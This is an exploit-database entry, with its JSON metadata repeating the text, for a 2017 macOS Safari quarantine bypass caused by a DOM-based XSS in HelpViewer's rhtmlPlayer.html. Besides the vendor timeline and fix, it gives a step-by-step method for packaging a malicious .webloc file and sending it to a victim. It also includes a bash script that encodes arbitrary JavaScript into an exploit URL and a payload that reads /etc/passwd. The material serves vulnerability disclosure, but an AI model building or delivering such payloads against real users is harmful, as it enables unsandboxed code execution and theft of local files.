Apple Mac OS X + Safari - Local Javascript Quarantine Bypass Vulnerability
2017-10-03T00:00:00
ID 1337DAY-ID-28729 Type zdt Reporter Filippo Cavallarin Modified 2017-10-03T00:00:00
Description
Exploit for macOS platform in category local exploits
Title: Mac OS X Local Javascript Quarantine Bypass
Product: Mac OS X
Version: 10.12, 10.11, 10.10 and probably prior
Vendor: apple.com <http://apple.com/>
Type: DOM Based XSS
Risk level: 3 / 5
Credits: [email protected] <mailto:[email protected]>
CVE: N/A
Vendor notification: 2017-07-15
Vendor fix: 2017-09-25
Public disclosure: 2017-09-28
DETAILS
Mac OS X contains a vulnerability that allows the bypass of the Apple Quarantine and the execution of arbitrary
Javascript code without restrictions.
Basically, Apple's Quarantine works by setting an extended attribute to downloaded files (and also to files
extracted from downloaded archive/image) that tells the system to open/execute those files in a restricted
environment. For example, a quarantined html file won't be able to load local resources.
The vulnerability is in one html file, part of the Mac OS X core, that is prone to a DOM Based XSS allowing the
excution of arbitrary javascript commands in its (unrestricted) context.
The mentioned file is located at /System/Library/CoreServices/HelpViewer.app/Contents/Resources/rhtmlPlayer.html
and contains the following code:
<script type="text/javascript" charset="utf-8">
setBasePathFromString(urlParam("rhtml"));
loadLocStrings();
loadJavascriptLibs();
function init () { /* <-- called by <body onload="init()" */
[...]
rHTMLPath = urlParam("rhtml"); /* <-- takes 'rhtml' parameters from current url */
[...]
self.contentHttpReq.open('GET', rHTMLPath, true);
self.contentHttpReq.onreadystatechange = function() {
if (self.contentHttpReq.readyState == 4) {
loadTutorial(self.contentHttpReq.responseText);
}
}
[...]
}
function loadTutorial(response) {
var rHTMLPath = urlParam("rhtml");
// this will create a tutorialData item
eval(response);
[...]
}
function loadLocStrings()
{
var headID = document.getElementsByTagName("head")[0];
var rHTMLPath = urlParam("rhtml");
rHTMLPath = rHTMLPath.replace("metaData.html", "localizedStrings.js");
var newScript = document.createElement('script');
newScript.type = 'text/javascript';
newScript.src = rHTMLPath;
headID.appendChild(newScript);
}
[...]
</script>
In short, it takes an url from the "rhtml" query string parameter, makes a request to that url and evaluates
the response content as javascript code.
The code below contains two different DOM Based XSS.
The first is in the loadLocStrings() function that creates a SCRIPT element and uses the "rhtml" parameter as
its "src" property.
The second is in the init() function that uses the "rhtml" parameter to make an ajax call and then passes the
response directly to eval().
As the result the same payload is executed twice.
An attacker, by providing a data uri, can take control of the response and thus what gets evaluated.
One possile vector of exploitation are the .webloc files. Basically those files contain an url and they simply loads
it in Safari when opened.
By crafting a .webloc file and by tricking a victim to open it, an attacker can run privileged javascript commands on
the victim's computer.
Due to the fact that .webloc files also use an extended attribute to store data, they must be sent contained in a tar
archive (or any other format that supports extended attributes).
PROOF OF CONCEPT
To reproduce the issue follow the steps below:
1. create a javascript file you want to execute on your target
2. convert its content to base64
3. encode it to a "uri component" (ex with encodeURIComponent js function)
4. use it to build a data uri as follow:
data:text/plain;base64,<urlencoded base64>
5. prepend the following string to it:
file:///System/Library/CoreServices/HelpViewer.app/Contents/Resources/rhtmlPlayer.html?rhtml= <file:///System/Library/CoreServices/HelpViewer.app/Contents/Resources/rhtmlPlayer.html?rhtml=>
6. open it with Safari
7. save it as a bookmark
8. drag the bookmark to the Finder (a .webloc file is created, if the extension is not .webloc, rename it)
9. create a tar archive containing the .webloc file
10. send it to the victim
Note that due to the behaviour of rhtmlPlayer.html, in order to access local resources, the first line of the
javascript code must be: document.getElementsByTagName("base")[0].href="";
The following bash script will take a javascript file and converts it to final "file" url:
BOF
#!/bin/bash
BASEURL="file:///System/Library/CoreServices/HelpViewer.app/Contents/Resources/rhtmlPlayer.html?rhtml= <file:///System/Library/CoreServices/HelpViewer.app/Contents/Resources/rhtmlPlayer.html?rhtml=>"
BASEJS="(function(){document.getElementsByTagName('base')[0].href='';if('_' in window)return;window._=1;"
DATAURI="data:text/plain;base64,"
JSFILE=$1
if [ "$JSFILE" = "" ]; then
echo "usage: $0 <jsfile>"
exit 1
fi
JS=$BASEJS`cat $JSFILE`"})();"
ENCJS=`echo -n $JS | base64 | sed 's/=/%3D/g' | sed 's/+/%2F/g' | sed 's/\//%2B/g'`
URL="$BASEURL""$DATAURI""$ENCJS"
echo -ne "Paste the url below into Safari's url bar:\n\033[33m$URL\033[0m\n"
EOF
The following javascript code will alert the /etc/passwd file on the victim's computer:
BOF
xhr = new XMLHttpRequest();
xhr.open("GET", "/etc/passwd", true);
xhr.onreadystatechange = function(){
if (xhr.readyState == 4) {
alert(xhr.responseText);
}
};
xhr.send();
EOF
Note that only Safari will successfully load local resources via ajax (Chrome and Firefox won't). In this
exploitation process it's not an issue since .webloc files are always opened with Safari.
NOTE
This issue has been silently fixed in Mac OS X High Sierra and (at time of writing) there is no mention of this
bug in Apple's changelog.
No CVE has been assigned by Apple.
SOLUTION
Upgrade to Mac OS X High Sierra or simply remove rhtmlPlayer.html.
Safari 11 (available for Mac OS X 10.11, 10.12 and 10.13) introduces the following security henancement:
"CORS and cross origin access from file:// are now blocked unless Disable Local File Restrictions is selected from the Develop menu"
hence the above exploit will not work against updated versions of OSX El Capitan and Sierra. However javascript execution outside quarantine is still possible.
REFERENCES
https://www.wearesegment.com/research/Mac-OS-X-Local-Javascript-Quarantine-Bypass.html <https://www.wearesegment.com/research/Mac-OS-X-Local-Javascript-Quarantine-Bypass.html>
DISCLOSURE
This vulnerability has been disclosed thru Securiteam Secure Disclosure program: http://www.beyondsecurity.com/ssd <http://www.beyondsecurity.com/ssd>
# 0day.today [2018-01-24] #
{"id": "1337DAY-ID-28729", "type": "zdt", "bulletinFamily": "exploit", "title": "Apple Mac OS X + Safari - Local Javascript Quarantine Bypass Vulnerability", "description": "Exploit for macOS platform in category local exploits", "published": "2017-10-03T00:00:00", "modified": "2017-10-03T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "cvss2": {}, "cvss3": {}, "href": "https://0day.today/exploit/description/28729", "reporter": "Filippo Cavallarin", "references": [], "cvelist": [], "immutableFields": [], "lastseen": "2018-01-24T19:12:09", "viewCount": 8, "enchantments": {"score": {"value": 0.0, "vector": "NONE"}, "dependencies": {}, "backreferences": {"references": [{"type": "threatpost", "idList": ["THREATPOST:5D5241707AB76ED799696E37D048872A", "THREATPOST:7876640D5EC3E8FE3FE885606BBB1C6D"]}]}, "exploitation": null, "vulnersScore": 0.0}, "sourceHref": "https://0day.today/exploit/28729", "sourceData": "Title: Mac OS X Local Javascript Quarantine Bypass\r\nProduct: Mac OS X\r\nVersion: 10.12, 10.11, 10.10 and probably prior\r\nVendor: apple.com <http://apple.com/>\r\nType: DOM Based XSS\r\nRisk level: 3 / 5\r\nCredits: [email\u00a0protected] <mailto:[email\u00a0protected]>\r\nCVE: N/A\r\nVendor notification: 2017-07-15\r\nVendor fix: 2017-09-25\r\nPublic disclosure: 2017-09-28\r\n \r\n \r\n \r\n \r\nDETAILS\r\n \r\nMac OS X contains a vulnerability that allows the bypass of the Apple Quarantine and the execution of arbitrary\r\nJavascript code without restrictions. \r\n \r\nBasically, Apple's Quarantine works by setting an extended attribute to downloaded files (and also to files\r\nextracted from downloaded archive/image) that tells the system to open/execute those files in a restricted \r\nenvironment. For example, a quarantined html file won't be able to load local resources.\r\n \r\nThe vulnerability is in one html file, part of the Mac OS X core, that is prone to a DOM Based XSS allowing the \r\nexcution of arbitrary javascript commands in its (unrestricted) context.\r\n \r\nThe mentioned file is located at /System/Library/CoreServices/HelpViewer.app/Contents/Resources/rhtmlPlayer.html\r\nand contains the following code:\r\n \r\n<script type=\"text/javascript\" charset=\"utf-8\">\r\n \r\nsetBasePathFromString(urlParam(\"rhtml\"));\r\nloadLocStrings();\r\nloadJavascriptLibs();\r\n \r\nfunction init () { /* <-- called by <body onload=\"init()\" */\r\n [...]\r\n \r\n rHTMLPath = urlParam(\"rhtml\"); /* <-- takes 'rhtml' parameters from current url */\r\n \r\n [...]\r\n \r\n self.contentHttpReq.open('GET', rHTMLPath, true);\r\n self.contentHttpReq.onreadystatechange = function() {\r\n if (self.contentHttpReq.readyState == 4) {\r\n loadTutorial(self.contentHttpReq.responseText);\r\n }\r\n }\r\n [...]\r\n}\r\n \r\nfunction loadTutorial(response) {\r\n var rHTMLPath = urlParam(\"rhtml\");\r\n \r\n // this will create a tutorialData item\r\n eval(response);\r\n [...]\r\n}\r\n \r\nfunction loadLocStrings()\r\n{\r\n var headID = document.getElementsByTagName(\"head\")[0]; \r\n var rHTMLPath = urlParam(\"rhtml\");\r\n \r\n rHTMLPath = rHTMLPath.replace(\"metaData.html\", \"localizedStrings.js\");\r\n var newScript = document.createElement('script');\r\n newScript.type = 'text/javascript';\r\n newScript.src = rHTMLPath;\r\n headID.appendChild(newScript); \r\n}\r\n[...]\r\n</script>\r\n \r\n \r\nIn short, it takes an url from the \"rhtml\" query string parameter, makes a request to that url and evaluates\r\nthe response content as javascript code.\r\n \r\nThe code below contains two different DOM Based XSS. \r\nThe first is in the loadLocStrings() function that creates a SCRIPT element and uses the \"rhtml\" parameter as\r\nits \"src\" property.\r\nThe second is in the init() function that uses the \"rhtml\" parameter to make an ajax call and then passes the\r\nresponse directly to eval().\r\nAs the result the same payload is executed twice.\r\n \r\nAn attacker, by providing a data uri, can take control of the response and thus what gets evaluated.\r\n \r\nOne possile vector of exploitation are the .webloc files. Basically those files contain an url and they simply loads\r\nit in Safari when opened. \r\nBy crafting a .webloc file and by tricking a victim to open it, an attacker can run privileged javascript commands on\r\nthe victim's computer.\r\nDue to the fact that .webloc files also use an extended attribute to store data, they must be sent contained in a tar\r\narchive (or any other format that supports extended attributes).\r\n \r\n \r\n \r\nPROOF OF CONCEPT\r\n \r\nTo reproduce the issue follow the steps below:\r\n 1. create a javascript file you want to execute on your target\r\n 2. convert its content to base64\r\n 3. encode it to a \"uri component\" (ex with encodeURIComponent js function)\r\n 4. use it to build a data uri as follow:\r\n data:text/plain;base64,<urlencoded base64>\r\n 5. prepend the following string to it:\r\n file:///System/Library/CoreServices/HelpViewer.app/Contents/Resources/rhtmlPlayer.html?rhtml= <file:///System/Library/CoreServices/HelpViewer.app/Contents/Resources/rhtmlPlayer.html?rhtml=>\r\n 6. open it with Safari\r\n 7. save it as a bookmark\r\n 8. drag the bookmark to the Finder (a .webloc file is created, if the extension is not .webloc, rename it)\r\n 9. create a tar archive containing the .webloc file\r\n 10. send it to the victim\r\n \r\nNote that due to the behaviour of rhtmlPlayer.html, in order to access local resources, the first line of the\r\njavascript code must be: document.getElementsByTagName(\"base\")[0].href=\"\";\r\n \r\nThe following bash script will take a javascript file and converts it to final \"file\" url:\r\nBOF\r\n#!/bin/bash\r\n \r\nBASEURL=\"file:///System/Library/CoreServices/HelpViewer.app/Contents/Resources/rhtmlPlayer.html?rhtml= <file:///System/Library/CoreServices/HelpViewer.app/Contents/Resources/rhtmlPlayer.html?rhtml=>\"\r\nBASEJS=\"(function(){document.getElementsByTagName('base')[0].href='';if('_' in window)return;window._=1;\"\r\nDATAURI=\"data:text/plain;base64,\"\r\n \r\nJSFILE=$1\r\n \r\nif [ \"$JSFILE\" = \"\" ]; then\r\n echo \"usage: $0 <jsfile>\"\r\n exit 1\r\nfi\r\n \r\nJS=$BASEJS`cat $JSFILE`\"})();\"\r\nENCJS=`echo -n $JS | base64 | sed 's/=/%3D/g' | sed 's/+/%2F/g' | sed 's/\\//%2B/g'`\r\nURL=\"$BASEURL\"\"$DATAURI\"\"$ENCJS\"\r\n \r\necho -ne \"Paste the url below into Safari's url bar:\\n\\033[33m$URL\\033[0m\\n\"\r\nEOF\r\n \r\n \r\nThe following javascript code will alert the /etc/passwd file on the victim's computer:\r\nBOF\r\nxhr = new XMLHttpRequest();\r\nxhr.open(\"GET\", \"/etc/passwd\", true);\r\nxhr.onreadystatechange = function(){\r\nif (xhr.readyState == 4) {\r\n alert(xhr.responseText);\r\n}\r\n};\r\nxhr.send();\r\nEOF\r\n \r\nNote that only Safari will successfully load local resources via ajax (Chrome and Firefox won't). In this\r\nexploitation process it's not an issue since .webloc files are always opened with Safari.\r\n \r\n \r\n \r\nNOTE\r\n \r\nThis issue has been silently fixed in Mac OS X High Sierra and (at time of writing) there is no mention of this\r\nbug in Apple's changelog. \r\nNo CVE has been assigned by Apple.\r\n \r\n \r\nSOLUTION\r\n \r\nUpgrade to Mac OS X High Sierra or simply remove rhtmlPlayer.html.\r\nSafari 11 (available for Mac OS X 10.11, 10.12 and 10.13) introduces the following security henancement:\r\n\"CORS and cross origin access from file:// are now blocked unless Disable Local File Restrictions is selected from the Develop menu\"\r\nhence the above exploit will not work against updated versions of OSX El Capitan and Sierra. However javascript execution outside quarantine is still possible.\r\n \r\n \r\nREFERENCES\r\n \r\nhttps://www.wearesegment.com/research/Mac-OS-X-Local-Javascript-Quarantine-Bypass.html <https://www.wearesegment.com/research/Mac-OS-X-Local-Javascript-Quarantine-Bypass.html>\r\n \r\n \r\nDISCLOSURE\r\n \r\nThis vulnerability has been disclosed thru Securiteam Secure Disclosure program: http://www.beyondsecurity.com/ssd <http://www.beyondsecurity.com/ssd>\n\n# 0day.today [2018-01-24] #", "_state": {"dependencies": 1647589307, "score": 0}}